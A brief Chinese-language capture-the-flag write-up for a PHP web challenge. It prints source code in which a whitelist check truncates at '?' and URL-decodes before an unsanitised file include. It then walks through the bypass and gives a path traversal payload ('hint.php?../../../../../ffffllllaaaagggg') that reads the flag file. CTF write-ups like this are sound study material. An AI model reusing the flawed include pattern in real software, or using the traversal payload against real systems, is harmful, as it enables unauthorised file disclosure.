1.打开环境看到滑稽,f12看源码
2.看到source.php,访问一下,看到php代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
3.hint.php提示
flag not here, and flag in ffffllllaaaagggg
4.看看代码
!empty($_REQUEST['file'])要我们的file变量不为空
is_string($_REQUEST['file'])要求我们传进来的值是字符串类型
checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数
这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码
5.checkFile这个函数进行了 3次白名单检测、 2次?过滤、一次URL解码
我们现在可以构造获取flag的语句
hint.php?../../../../../ffffllllaaaagggg
../是测试文件目录
payload为/?file=hint.php?../../../../../ffffllllaaaagggg
6.拿到flag